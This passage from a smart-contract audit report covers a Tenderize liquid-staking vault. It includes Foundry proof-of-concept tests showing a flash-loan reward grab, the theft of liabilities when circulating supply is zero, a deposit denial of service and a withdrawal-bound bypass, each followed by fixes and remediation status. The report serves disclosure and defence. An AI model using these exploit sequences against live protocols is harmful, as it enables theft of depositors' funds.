When utilizing a sufficiently large flash loan, selfish keepers may collect a significant proportion of inbound rewards intended for LPs, in exchange for none of the risk. Additionally, when taking into consideration the increased availability of liquid liabilities provided by a redeemed unlock, a keeper could likely craft a clean exit without having to enter the WithdrawQueue to increase the viability of an atomic flash loan repayment.

Proof of Concept

In the following sequence, selfish keeper uses a 300 ether flash loan to accrue a sizeable amount of vault liquidity prior to redeeming the unlock, then subsequently burns these shares to gain a sizeable proportion of the total unlocked token value:

/// @notice `LpETH` is vulnerable to poisonous liquidity
function test_poisonedLiquidity() external {
    /// @dev `deadbeef` initializes the protocol
    address deadbeef = address(0xdeadbeef);
    uint256 initialDepositAmount = 10 ether;
    vm.deal(deadbeef, initialDepositAmount);
    vm.prank(deadbeef);
        _lpEth().deposit{value: initialDepositAmount}(0);

    /// @dev assume a pending unlock
    uint256 amountToUnlock = 15 ether;
    IERC20 lst = IERC20(EETH_TOKEN);
    lst.approve(address(_lpEth()), type(uint256).max);
    vm.prank(_faucet());
        lst.transfer(address(this), amountToUnlock);
    _lpEth().swap(address(lst), amountToUnlock, 0) /* create_pending_swaps */;

    uint256 pendingUnlockId
        = 101010197349444841392340933157902236146568907813657814364422726681468637791402;

    /// @dev fast forward time until the unlock is mature:
    _prankUnlockMaturity(pendingUnlockId, amountToUnlock);

    /// @dev `c0ffee` provides poisoned liquidity (i.e. flash loan)
    address c0ffee = address(0xc0ffee);
    uint256 flashLoanAmount = 300 ether;
    vm.deal(c0ffee, flashLoanAmount);
    vm.startPrank(c0ffee);
        _lpEth().deposit{value: flashLoanAmount}(0);
        _lpEth().redeemUnlock();
        _lpEth().withdraw(
            _lpEth().liquidity() * _lpToken().balanceOf(c0ffee) / _lpToken().totalSupply(),
            type(uint256).max
        );
    vm.stopPrank();
    assertTrue(flashLoanAmount < c0ffee.balance);
}
BVSS
Recommendation

To reduce the attractiveness of this style of attack, consider implementing the following deterrents:

  1. Charge a configurable fee upon withdrawal which will accrue to the liquidity providers that remain.

  2. Enforce that liquidity providers should be exposed to the pool for a minimum duration before a withdrawal can be initiated.

Remediation Plan

PARTIALLY SOLVED: The Tenderize team partially fixed the issue by disallowing flashfloan deposits.

Remediation Hash
References

7.7 (HAL-16) MinMaxAmount Invariant Can Be Circumvented

// Low

Description

The minMaxAmount() of UnsETH, although defined for each asset, is not enforced, which enables depositors with the potential to deposit greater than or lesser than the predefined range, which may invalidate operational expectations.

For instance, It can be demonstrated that even though the minMaxAmount() of LsETHAdapter.sol is configured as 1e9 (1 gwei), it is possible to initiate a request to withdraw just 1 wei.

This could potentially be utilized by attackers to spam the WithdrawQueue or induce underflow scenarios by undermining protocol expectations.

Proof of Concept

Below, we see it is possible to submit a trivially small withdrawal request:

/// @notice it is possible to request withdrawals lower than the
///         configured minMaxAmount
function test_unstakeLowerThanMinumum() external {
    uint256 amount = 1 wei;

    IERC20 lst = IERC20(LSETH_TOKEN);
    lst.approve(address(_unsEth()), type(uint256).max);

    vm.prank(_faucet());
        lst.transfer(address(this), amount);

    _unsEth().requestWithdraw(address(lst), amount);
}
BVSS
Recommendation

It is recommended that the UnsETH contract properly these assumptions about the min and max bounds about the submission of withdrawal requests:

function requestWithdraw(
    address asset,
    uint256 amount
) external returns (uint256 tokenId, uint256 amountExpected) {
    (uint256 min, uint256 max) = REGISTRY.adapters(asset).minMaxAmount();
    require(amount >= min && amount <= max, "WITHDRAWAL_OUT_OF_BOUNDS");
    // ...
}

Remediation Plan

RISK ACCEPTED: The Tenderize team accepted the risk.

References

7.8 (HAL-04) Deposit Denial Of Service During Zero LP Supply With Open Liabilities

// Low

Description

There are some situations where users may encounter denial of service when attempting to make an initial deposit.

Consider when the LPTOKEN.totalSupply() is zero, with non-zero liabilities:

lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDiv(msg.value, LPTOKEN.totalSupply(), $.liabilities)
    : msg.value;

if (lpShares < minLpShares) revert ErrorSlippage(lpShares, minLpShares);
if (lpShares == 0) revert ErrorDepositSharesZero(); /// @audit will_always_revert

Here, the number of lpShares will always be computed to be 0 and cause revert via ErrorDepositSharesZero().

Proof of Concept

In the sequence below, we demonstrate that it is impossible to gain a share of the LpETH contract whilst there are open liabilities against a zero circulating supply.

This scenario can occur when there are active pending withdrawals initiated by a holder who burned their holdings which corresponded to the entirety of the shares in circulation.

/// @notice zero shares are calculated when circulating token supply is zero
function test_zeroShareDepositsWithZeroCirculatingSupply() public {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef);
    address c0ffee = address(0xc0ffee);
    IERC20 lst = IERC20(EETH_TOKEN);

    uint256 deadbeefDeposit = 1 ether;

    vm.deal(deadbeef, deadbeefDeposit) /* make_deposit */;
    vm.prank(deadbeef);
        _lpEth().deposit{value: deadbeefDeposit}(0);

    uint256 c0ffeeSwap = 0.5 ether;

    /// @dev prepare lst and allowances
    vm.prank(_faucet());
        lst.transfer(c0ffee, c0ffeeSwap);

    vm.startPrank(c0ffee);
        lst.approve(address(_lpEth()), type(uint256).max);
        _lpEth().swap(address(lst), c0ffeeSwap, 0);
    vm.stopPrank();

    /// @dev create a withdraw request
    vm.startPrank(deadbeef);
        uint256 requestId = _lpEth().withdraw(deadbeefDeposit, type(uint256).max);
        uint256 tokenId = 101010197349444841392340933157902236146568907813657814364422726681468637791402;
        assertTrue(requestId == 1) /* should_create_overflow_request */;
        assertEq(_lpToken().totalSupply(), 0) /* no_circulating_supply */;
    vm.stopPrank();

    /// @dev redeem unlock
    _prankUnlockMaturity(tokenId, 1 ether) /* mature */;
        _lpEth().redeemUnlock();
        assertGt(_lpEth().liabilities(), 0) /* has liabilities */;
    vm.clearMockedCalls();

    address honestDepositor = address(0x420);
    uint256 honestDepositAmount = 1 ether;
    vm.deal(honestDepositor, honestDepositAmount);
    vm.prank(honestDepositor);
        vm.expectRevert(abi.encodeWithSignature("ErrorDepositSharesZero()")) /* reverts */;
            _lpEth().deposit{value: honestDepositAmount}(0);
}
BVSS
Recommendation

Currently, it is possible for the initial depositor to both mint negligibly small amounts of shares and have direct control over the total supply:

lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDiv(msg.value, LPTOKEN.totalSupply(), $.liabilities)
    : msg.value /* can_mint_small_illiquid_shares */;

It is recommended that to avoid any potential unexpected states or potential avenues for manipulation by having the initial depositor relinquish a proportion of their claim to underlying vault shares to the burn address:

lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDiv(msg.value, LPTOKEN.totalSupply(), $.liabilities)
    : msg.value;

if (LPTOKEN.totalSupply() == 0) /* is_initial_state */ {
    lpShares -= 1_000 /* underflow_for_insufficient_deposits */;
    LPTOKEN.mint(address(0), 1_000) /* burn_shares */;
}

if (lpShares < minLpShares) revert ErrorSlippage(lpShares, minLpShares);
if (lpShares == 0) revert ErrorDepositSharesZero();

LPTOKEN.mint(msg.sender, lpShares);

Remediation Plan

SOLVED: The Tenderize team fixed the issue.

Remediation Hash
References

7.9 (HAL-01) Renderer Produces Malformed JSON

// Low

Description

The Renderer contract implements a Base64-encoded JSON URI for token metadata:

/**
 * @notice Returns the JSON metadata for a given unlock
 * @param data metadata for the token
 */
function json(UnsETH.Request memory data) external pure returns (string memory) {
    return string(
        abi.encodePacked(
            "data:application/json;base64,",
            Base64.encode(
                abi.encodePacked(
                    '{"name": "unsETH", "description": "unstaking ETH",',
                    /// @custom:hunter not using the image property i.e. '"image":"data:image/svg+xml;base64,', Base64.encode(imageData), '",',
                    '"attributes":[',
                    _serializeMetadata(data),
                    "]}"
                )
            )
        )
    );
}

Firstly, we note that although the Renderer contract explicitly implements an svg(UnsETH.Request) function for generating on-chain graphics, this data is not returned in the JSON blob, since the "image" property has been omitted (accoridng to the OpenSea metadata standard).

Consequently, the NFT will not have an image on marketplaces.

Further, we can see that json(UnsETH.Request) relies upon the _serializeMetadata(UnsETH.Request) function:

function _serializeMetadata(UnsETH.Request memory data) internal pure returns (string memory metadataString) {
    metadataString = string(
        abi.encodePacked(
            '{"trait_type": "createdAt", "value":',
            data.createdAt.toString(),
            "},",
            '{"trait_type": "amount", "value":',
            data.amount.toString(),
            "},",
            '{"trait_type": "derivative", "value":"',
            data.derivative, /// @audit address
            '"},',
            '{"trait_type": "requestId", "value":"',
            data.requestId, /// @audit uint256
            '"},' /// @audit trailing_comma
        )
    );
}

There are two issues in this implementation.

We can see that both the data.derivative and data.requestId fields (backed by address and uint256 data types respectively) are not stringified. By result, these will not serialize into human-readable strings when generating the JSON content, and may risk corrupting the generated body.

Further, we can determine that the stringified array assigned to metadataString contains a hard-coded trailing comma, which although a respected convention by modern JavaScript transpilers, is not compliant with the JSON web standard.

BVSS
Recommendation

Return the generated SVG as an image property in the metadata URI:

abi.encodePacked(
    "data:application/json;base64,",
    Base64.encode(
        abi.encodePacked(
            '{"name": "unsETH", "description": "unstaking ETH",',
            '"image":"data:image/svg+xml;base64,', Base64.encode(svg(data)), '",',
            '"attributes":[',
                 _serializeMetadata(data),
            "]}"
        )
    )
)

Secondly, update the array of metadata to remove the trailing comma and stringify the binary data:

abi.encodePacked(
    '{"trait_type": "createdAt", "value":',
    data.createdAt.toString(),
    "},",
    '{"trait_type": "amount", "value":',
    data.amount.toString(),
    "},",
    '{"trait_type": "derivative", "value":"',
    data.derivative.toHexString(),
    '"},',
    '{"trait_type": "requestId", "value":"',
    data.requestId.toString(),
    '"}'
)

Remediation Plan

SOLVED: The Tenderize team fixed the issue by stringifying the binary data.

Remediation Hash
References

7.10 (HAL-07) Unlock Progress Calculations Over Unity Result In Panic Revert

// Low

Description

The UNSETH_EXPIRATION_TIME is a value used to approximate the time taken for an UnsETH token to reach maturity, when the underlying claim to unstaked assets may be realized.

Depending upon the amount of time remaining until maturity since the token's creation, UnsETH purchasers may receive a proportional discount on the price of the token as a reward. This is designed to incentivize buyers with a high time preference to supply immediate liquidity into the LpETH contract in exchange for future gains, whereby longer times remaining until maturity procure larger unlocks.

Prospective buyers are rewarded proportionally based upon the time remaining until maturity via the following calculation:

UD60x18 progress = ud(request.createdAt - block.number).div(ud(UNSETH_EXPIRATION_TIME));
reward = ud(baseReward).mul(UNIT_60x18.sub(progress)).unwrap();

This calculation possesses two logical flaws. Most notably, we see that request.created at is a timestamp instead of a block.number:

Request memory _metadata =
    Request({ requestId: requestId, amount: amountExpected, createdAt: block.timestamp, derivative: asset }); /// @audit createdAt_is_timestamp

This erroneous comparison results in the calculation of incorrect values of progress, resulting in values which lead to revert. However, if we were to correct the expression and use the appropriate time comparison here, we still encounter underflow scenarios for the case that the time since request.createdAt exceeds UNSETH_EXPIRATION_TIME.

This is due to the fact that the calculation resolves to a value over unity, leading the subsequent reward calculation to revert:

reward = ud(baseReward).mul(UNIT_60x18.sub(progress)).unwrap(); /// @audit panic_revert_when_progress_gt_UNIT_60x18

Consequently, for any UnsETH token delay in excess of UNSETH_EXPIRATION_TIME, it will not be possible to invoke buyUnlock() or buyUnlocks(uint256) until the tokens are explicitly redeemed.

Proof of Concept

The following sequence demonstrates a simple example of progress underflow:

/// @notice progress over unity results in panic revert
///         through integer underflow
function test_panicRevertDueToProgessCalculation() external {

    /// @dev prepare actors
    address deadbeef = address(0xdeadbeef);
    IERC20 lst = IERC20(EETH_TOKEN);

    /// @dev `deadbeef` performs a swap to create an unlock
    uint256 deadbeefSwapAmount = 1 ether;
    uint256 initialDepositAmount = 0.5 ether;

    /// @dev assume some initial deposits
    vm.deal(address(this), initialDepositAmount);
    _lpEth().deposit{value: initialDepositAmount}(0);

    /// @dev prepare balances
    vm.prank(_faucet());
        lst.transfer(deadbeef, deadbeefSwapAmount * 2 /* buy two tokens */);

    vm.startPrank(deadbeef);
        /// @dev prepare allowances
        lst.approve(address(_lpEth()), type(uint256).max);

        /// @dev create two unfinalized unlocks in the queue
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
        _lpEth().swap(address(lst), deadbeefSwapAmount, 0);
    vm.stopPrank();

    address c0ffee = address(0xc0ffee);
    vm.deal(c0ffee, 1000 ether);
    vm.expectRevert() /* @audit underflow_revert */;
        _lpEth().buyUnlock();
}

Notice that although we place two unlocks in the queue, neither can be purchased, resulting in a growing backlog that cannot be pulled from when attempting to purchase unlocks.

BVSS
Recommendation

Correct the comparison to use block.timestamp and use clamping to avoid computing values of progress over unity:

UD60x18 progress = ud(
    Math.min(block.timestamp - request.createdAt, UNSETH_EXPIRATION_TIME)
).div(
    ud(UNSETH_EXPIRATION_TIME)
);

reward = ud(baseReward).mul(UNIT_60x18.sub(progress)).unwrap();

Remediation Plan

SOLVED: The Tenderize team fixed the issue by adding the appropriate check.

Remediation Hash
References

7.11 (HAL-15) Non-Zero Liabilities With Zero Circulating Supply Can Be Stolen

// Low

Description

There exists a pathological scenario where non-zero liabilities can be stolen whilst the totalSupply of LpToken in circulation is zero.

If we look critically at the withdraw(uint256,uint256) function, we can see that it is possible to withdraw from the LpETH contract without burning any shares:

uint256 lpShares = $.liabilities > 0
    ? FixedPointMathLib.fullMulDivUp(amount, LPTOKEN.totalSupply(), $.liabilities)
    : amount;

For non-zero liabilities and a LPTOKEN.totalSupply() of 0, no lpShares need to be burned.

Proof of Concept

In the steps below, we describe the unlikely scenario where non-zero liabilities in combination with zero circulating supply may be withdrawn by c0ffee, an account with expressly no ownership of the pool:

/// @notice lptokens are burned atomically on withdraw resulting in a
///         deferred claim to unlocked balances, however these balances
///         are not segregated
function test_tokensCanBeStolenWhilstZeroCirculatingSupply() external {

    /// @dev assume an initial deposit
    address deadbeef = address(0xdeadbeef);
    uint256 depositAmount = 10 ether;
    vm.deal(deadbeef, depositAmount);
    vm.startPrank(deadbeef);
        _lpEth().deposit{value: depositAmount}(0);
    vm.stopPrank();

    /// @dev assume swaps take place resulting in unlocks
    IERC20 lst = IERC20(EETH_TOKEN);
    uint256 unlockAmount = 1 ether;
    vm.prank(_faucet());
        lst.transfer(address(this), unlockAmount);
    lst.approve(address(_lpEth()), type(uint256).max);
    _lpEth().swap(address(lst), unlockAmount, 0);
    uint256 pendingUnlockId
        = 101010197349444841392340933157902236146568907813657814364422726681468637791402;

    /// @dev depositor initiates withdrawal
    vm.startPrank(deadbeef);
        _lpEth().withdraw(depositAmount, type(uint256).max);
    vm.stopPrank();

    /// @dev ensure the token matures
    _prankUnlockMaturity(pendingUnlockId, unlockAmount);
        _lpEth().redeemUnlock();

    /// @dev an unrelated address without claims to the underlying
    ///      balance may withdraw `deadbeef`'s pending withdrawal
    address c0ffee = address(0xc0ffee);
    vm.startPrank(c0ffee);
        assertEq(c0ffee.balance, 0);
        _lpEth().withdraw(_lpEth().liabilities(), 0);
        assertEq(c0ffee.balance, 297_886_511_894_253);
    vm.stopPrank();
}

Here, the rewards from the unlock redemption can be stolen.

BVSS
Recommendation

When the initial deposit is made to the LpETH contract, ensure a proportion of initially minted shares are sent to the burn address to rule out the possibility of this state.

Additionally, ensure that non-zero amounts of shares are always burned when making a non-zero withdrawal of any capital.

Remediation Plan

SOLVED: The Tenderize team fixed the issue. The lpShares is required to be greater than 0.

Remediation Hash
References

7.12 (HAL-02) UUPSUpgradeable Is Not Initialized

// Informational

Description

The UnsETH contract is UUPSUpgradeable, but does not implement UUPSUpgradeable.__UUPSUpgradeable_init() in the initialize() function:

function initialize() external initializer {
    __Ownable_init(msg.sender);
@>
}
Score
Recommendation

Ensure the base contract is initialized:

function initialize() external initializer {
  __Ownable_init(msg.sender);
  __UUPSUpgradeable_init();
}

Remediation Plan

SOLVED: The Tenderize team fixed the issue as recommended.

Remediation Hash
References

7.13 (HAL-09) Economic Inefficiency Due To Common Expiration Time

// Informational

Description

The UNSETH_EXPIRATION_TIME duration used to meter rewards for unlock purchases is common between all UnsETH tokens, regardless of the underlying liquid staking asset, whose unstaking time may vary.

If the underlying LST time until maturity is smaller, the protocol may pay out more in rewards than necessary, since it can devalue the time LPs spent exposed to the asset.

Similarly, when considering LSTs with a longer intrinsic delay until maturity, users are liable to take on more risk than compensated for by rewards.

Score
Recommendation

Consider the using a mechanism which enables administrators to tune protocol-specific delays:

/// @notice Determine the asset-specific expiration time, or fallback to
///         the default.
function getUnsethExpirationTime(address asset) public view returns (uint256) {
    Data storage $ = _loadStorageSlot();
    uint256 unsethExpirationTime = $.unsethExpirationTimes[asset];
    return unsethExpirationTime == 0 ? 3 days + 12 hours : unsethExpirationTime;
}

Remediation Plan

ACKNOWLEDGE: The Tenderize team acknowledged the issue. Due to the mechanics of the withdrawal queue of ETH and the potential dependency on keeper bots of certain LSTs to finalize withdrawals, it can be hard to determine the unlock time on-chain. That's why the team chose to adopt a general time which should default roughly to the standard withdrawal queue for ETH as an expiration time for unlocks to be bought.

7.14 (HAL-12) Reduce Code Surface Area

// Informational

Description

Both the buyUnlock() and redeemUnlock() possess equivalent batch implementations, batchBuyUnlocks(uint256) and batchRedeemUnlocks(uint256).

As a general rule-of-thumb, implementors should anticipate that every 1,000 lines of should on average introduce around 17 unique bugs.

In the case of LpETH, as both the batchBuyUnlocks(uint256) and batchRedeemUnlocks(uint256) functions are capable of replicating the precise functionality exposed by their singular equivalents buyUnlock() and redeemUnlocks(), it is recommended to remove the singular implementations altogether to help ease maintenance, alleviate the complexities of maintaining functional parity, reduce resultant bytecode size and help normalize the public interface for consumers.

Score
Recommendation

Remove the buyUnlock() and redeemUnlock() functions.

Although these could be replaced by shallow external calls which internally redirect calls to batchBuyUnlocks(uint256) and batchRedeemUnlocks(uint256) using a value of 1, their presence may incentivize the delivery of inflexible client integrations, since the batch implementation should always be preferred due to inherent scalability.

Remediation Plan

SOLVED: The Tenderize team fixed the issue. The surface area of the mentioned mechanisms was reduced.

Remediation Hash
References

8. Automated Testing

Halborn used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework.

After Halborn verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contracts. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.

All issues identified by Slither were proved to be false positives or have been added to the issue list in this report.

Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.